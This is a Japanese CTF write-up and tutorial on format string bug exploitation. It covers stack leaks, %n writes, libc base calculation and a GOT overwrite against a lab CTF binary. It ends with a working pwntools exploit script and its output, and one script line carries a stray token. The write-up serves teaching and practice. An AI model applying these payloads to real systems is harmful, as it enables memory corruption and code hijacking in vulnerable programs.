はじめに
真面目にpwnを勉強していきたいので復習も兼ねて1から整理していこう,ということで最初にFSBについてまとめてみます. FSBに関する分かりやすい説明はたくさんあるのですが,この記事ではグローバル変数に対するFSBの利用法を説明しようと思います.
Format String Bugとは
FSBはprintf関数のようなフォーマット文字列を扱う関数に起因する脆弱性です. 通常フォーマット文字列は次のような使い方をします.
printf("Message: %s", buf);
これは構わないのですが,次のようにフォーマット文字列の箇所に攻撃者が任意のデータを入れることができると問題が発生します.
printf(buf);
printfは"%s"や"%d"のようなフォーマットを見つけると,スタックから順番にデータを読み込んで処理します. したがって,bufに"%x%x%x"のような文字列が入っていると,スタック上のデータが表示されてしまいます. これがFormat String Bugと呼ばれる脆弱性なのですが,このようにスタック上のデータを漏洩してしまうだけでなく,スタック以外でもメモリ上のデータを漏洩,改竄することが可能になります.
攻撃対象
ちょっと前に開いた研究室内CTFの200点問題を例に説明します.
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; void show_flag() { FILE *fp; char *flag = (char*)malloc(64); fp = fopen("flag", "r"); fread(flag, 1, 63, fp); fclose(fp); printf(flag); free(flag); } int main(void) { int i; for(i = 0; i < 3; i++) { scanf("%31s", buf); printf(buf); } if (i == 0) { show_flag(); } else { exit(1); } return 0; }
Format String Exploitは基本的にASLRなどがあっても問題なく使えます.
$ gcc parrot.c -o parrot -fstack-protector -fno-PIE -no-pie
show_flag関数を呼べばOKなので,GOT Overwriteを目標に解いてみましょう.
FSBの基礎
メモリ上のデータを読む
FSBがあるので,次のような入力を与えるとスタック上のデータを見ることができます.
$ ./parrot %p%p%p%p%p%p%p 0x804a0600xfff85d0c0x804875b0x10xfff85d040xfff85d0c(nil)
なお,scanfでは31文字しか入力を受け付けていないことに注意してください. また,このプログラムの場合FSBは3回使えます.(本当はもっと呼び出せるけど今回はそんなに使いません.) 次のように"%n$p"といった形で番号を与えることでスタック上の何番目のデータを処理するかを指定することができます.
$ ./parrot %6$p 0xffce52dc $ ./a.out %8$p 0xf775b3c4
"%x"などはスタック上にある値をそのまま出力するだけですが,"%s"はその値をポインタとして読んでくれます. そのため,スタック上に読みたいアドレスが置かれていれば,その引数の番号を"%n$s"のように指定することでデータを読み出すことができます. もちろん読み出せないアドレスが指定されるとSegmentation Faultで終了します. printfに渡すバッファがローカル変数の場合,そのバッファ自体もスタック上に存在するので,"\xAA\xBB\xCC\xDD%n$s"のようなバイナリを送ることで任意のアドレスのデータを読み出すことも可能です. しかし今回はbufをグローバル変数にしたのでこの方法では特定のアドレスを渡すことはできません.
メモリ上にデータを書く
「man sprintf」でフォーマット指定子の一覧を見てみると,"%s"や"%d"といったよく使うものの他に,"%n"という興味深い指定子があります. この指定子では,printfが呼ばれてから%nを見つけるまでに出力された文字数を引数のポインタに書き込みます. ちょっと意味分かんないですが,例えば次のように使うとnに4が格納されます.誰が使うんだこれ.
printf("AAAA%n", &n);
とにかく,これを上手いこと使えばメモリ上にデータを書き込めそうです. 例えば次のようにすると,引数のアドレスに100という値を書き込むことができます.
printf("%100c%n", 1, &data);
これは非常に便利で,今回のように入力できる文字数に制限があるとき,「100文字+%n」を送らなくても「%100c%n」にまとめることができます. 他にも%hhnを使えば,1バイトだけ書き込むこともできます.
libcのベースアドレスを取得する
ASLRがかかっているときはlibcのベースアドレスが知りたくなります. 今回は使いませんが,GOT Overwriteによりlibcの関数を利用する場合はまずlibcのベースアドレスを取得しましょう. スタック上にlibc関連の関数のアドレスが存在すれば,これをリークすることができます. 今回のプログラムが実行中のスタックの様子をgdbで見てみましょう.
$ gdb -q ./parrot gdb-peda$ b *0x80486d2 gdb-peda$ run AAAA gdb-peda$ x/32wx $esp 0xffffcd00: 0x0804a060 0x0804a060 0xffffcddc 0x0804875b 0xffffcd10: 0x00000001 0xffffcdd4 0xffffcddc 0x00000000 0xffffcd20: 0xf7fb53c4 0xffffcd40 0x00000000 0xf7e081b3 0xffffcd30: 0x08048710 0x00000000 0x00000000 0xf7e081b3 0xffffcd40: 0x00000001 0xffffcdd4 0xffffcddc 0xf7fd86b0 0xffffcd50: 0x00000001 0x00000001 0x00000000 0x0804a028 0xffffcd60: 0x080482b0 0xf7fb5000 0x00000000 0x00000000 0xffffcd70: 0x00000000 0xb021baa9 0x8eb9deb9 0x00000000
ここで注目してほしいのが,0xffffcd2cにある0xf7e081b3というアドレスです. gdbで見ると,__libc_start_main+243のアドレスであることが分かります.
gdb-peda$ x/4wx 0xf7e081b3 0xf7e081b3 <__libc_start_main+243>: 0xe8240489 0x000184f5 0x32e9c931 0x8bffffff
これはmain関数がreturnした際に戻るlibc内の関数のアドレスです. したがって,libcのベースアドレスは0xf7e081b3から__libc_start_main+243を引いた値になります. 私の環境では次のように__libc_start_mainは0x1a0c0にあるので,ベースアドレスは0xf7e081b3 - 0x1a0c0 - 243となります.
$ objdump -S -M intel /lib/libc-2.17.so | grep "__libc_start_main>" 0001a0c0 <__libc_start_main>:
実際に計算してみると,libcのベースアドレスと一致することが分かります.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/ptr/workspace/hatena/fsb/a.out 0x08049000 0x0804a000 r--p /home/ptr/workspace/hatena/fsb/a.out 0x0804a000 0x0804b000 rw-p /home/ptr/workspace/hatena/fsb/a.out 0xf7ded000 0xf7dee000 rw-p mapped 0xf7dee000 0xf7fb2000 r-xp /usr/lib/libc-2.17.so 0xf7fb2000 0xf7fb3000 ---p /usr/lib/libc-2.17.so 0xf7fb3000 0xf7fb5000 r--p /usr/lib/libc-2.17.so 0xf7fb5000 0xf7fb6000 rw-p /usr/lib/libc-2.17.so 0xf7fb6000 0xf7fb9000 rw-p mapped 0xf7fd7000 0xf7fd9000 rw-p mapped 0xf7fd9000 0xf7fda000 r-xp [vdso] 0xf7fda000 0xf7ffc000 r-xp /usr/lib/ld-2.17.so 0xf7ffc000 0xf7ffd000 r--p /usr/lib/ld-2.17.so 0xf7ffd000 0xf7ffe000 rw-p /usr/lib/ld-2.17.so 0xfffdc000 0xffffe000 rw-p [stack] gdb-peda$ p 0xf7e081b3 - 0x1a0c0 - 243 $1 = 0xf7dee000
メモリに書き込む
先程も書いた通り,今回はグローバル変数のFSBなので任意のアドレスに書き込むことができないように思えます. ここで,もう一度スタックの状態を見てみましょう.
gdb-peda$ x/32wx $esp 0xffffcd00: 0x0804a060 0x0804a060 0xffffcddc 0x0804875b 0xffffcd10: 0x00000001 0xffffcdd4 0xffffcddc 0x00000000 0xffffcd20: 0xf7fb53c4 0xffffcd40 0x00000000 0xf7e081b3 0xffffcd30: 0x08048710 0x00000000 0x00000000 0xf7e081b3 0xffffcd40: 0x00000001 0xffffcdd4 0xffffcddc 0xf7fd86b0 0xffffcd50: 0x00000001 0x00000001 0x00000000 0x0804a028 0xffffcd60: 0x080482b0 0xf7fb5000 0x00000000 0x00000000 0xffffcd70: 0x00000000 0xb021baa9 0x8eb9deb9 0x00000000
0xffffcddcや0xffffcdd4といったアドレスがスタック上にあります.一方espは0xffffcd00なので,これらのポインタはFSBで参照できるスタック上のアドレスを指していることになります. このような「スタック上を指すポインタ」がスタック上にある場合,任意のアドレスに任意のデータを書き込むことができます. 例えば0xffffcd08に0xffffcddcというデータがあります.これを利用して0xdeadbeefに0x41414141を書き込む場合,次のようにします.
ちなみに「スタック上を指すポインタ」の例としては,環境変数envpや実行時引数argvがあるので,大抵のプログラムでは見つけることができます. 具体的に送るデータを考えましょう.まず,0xffffcddcに0xdeadbeefを書き込むためには,0xffffcd08にあるアドレスを利用します. これは(0xffffcd08 - $esp)/4 = 2より2番目の引数にあたるので,0xdeadbeef(=3735928559)を書き込むには
%3735928559c%2$n
とします.次に,0xffffcddcは(0xffffcddc - $esp)/4 = 55より55番目の引数にあたるので,0x41414141(=1094795585)を書き込むには
%1094795585c%55$n
とします.
GOTを上書きする
プログラムが共有ライブラリの関数を使うとき,そこを直接参照するのではなく,GOT(Global Offset Table)と呼ばれる表に記載されたアドレスを参照します. このテーブルは標準では上書き可能かつアドレスが固定です. FSBでGOT内のある関数のアドレスを変更すれば,その関数が呼ばれるときに変更した方へジャンプしてくれます. したがって,今回はprintfの後に呼ばれるexitのGOTを書き換えてshow_flagのアドレスに変更すれば良さそうです. GOTのアドレスは次のようにreadelfで見られます.
$ readelf -r parrot 再配置セクション '.rel.dyn' (オフセット 0x3b0) は 2 個のエントリから構成されています: オフセット 情報 型 シンボル値 シンボル名 08049ffc 00000706 R_386_GLOB_DAT 00000000 __gmon_start__ 0804a040 00000c05 R_386_COPY 0804a040 stdout@GLIBC_2.0 再配置セクション '.rel.plt' (オフセット 0x3c0) は 10 個のエントリから構成されています: オフセット 情報 型 シンボル値 シンボル名 0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0 0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a014 00000307 R_386_JUMP_SLOT 00000000 free@GLIBC_2.0 0804a018 00000407 R_386_JUMP_SLOT 00000000 fclose@GLIBC_2.1 0804a01c 00000507 R_386_JUMP_SLOT 00000000 fread@GLIBC_2.0 0804a020 00000607 R_386_JUMP_SLOT 00000000 malloc@GLIBC_2.0 0804a024 00000807 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a028 00000907 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a02c 00000a07 R_386_JUMP_SLOT 00000000 fopen@GLIBC_2.1 0804a030 00000b07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
これよりexitのアドレスは0x0804a024に保管されることが分かります. また,pwntoolsでは次のように取得できるので便利です.
from pwn import * elf = ELF("./parrot") print(hex(elf.got['exit']))
では攻撃コードを作りましょう. 今回はargvのアドレスを利用してGOTを書き換えてみました.
from pwn import * sock = remote("localhost", 4000) parrot = ELF("./parrot") got_exit = parrot.got['exit'] show_flag = 0x8048616 print("[+] exit.got = " + hex(got_exit)) # write got addr onto argv payload = "%{0}c%17$n".format(got_exit) sock.sendline(payload) print("[+] Wrote &exit.got to argv") # got overwrite payload = "%{0}c%53$n".format(show_flag) sock.sendline(payload)parrot print("[+] Wrote &show_flag to exit.got") # final round sock.sendline("HOGEHOGE") # get printed text data = sock.recvall() print data[-100:]
自分の環境で試すときはsocatを使うと便利です. 以下のようにすればローカルで4000番ポートにサービスを用意してくれます.
$ socat TCP-L:4000,reuseaddr,fork EXEC:./parrot
攻撃コードを実行すると,時間はかかりますがちゃんとフラグが取れます. ローカルでは10秒以内に終わりましたが,研究室で開催したときはみんな20秒くらいかかってた気がします.
$ python attack.py [+] Opening connection to localhost on port 4000: Done [*] '/home/ptr/workspace/school/ocamlab/5th/pwn200/parrot' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] exit.got = 0x804a024 [+] Wrote &exit.got to argv [+] Wrote &show_flag to exit.got [+] Receiving all data: Done (256.57MB) [*] Closed connection to localhost port 4000 `HOGEHOGEflag-ik8b7RO0PESHYHNuXaWE0jZfpm0odD8h
問題自体は好評でしたが攻撃に時間がかかるのでリモートのCTFとかでは出題しにくいかなぁ.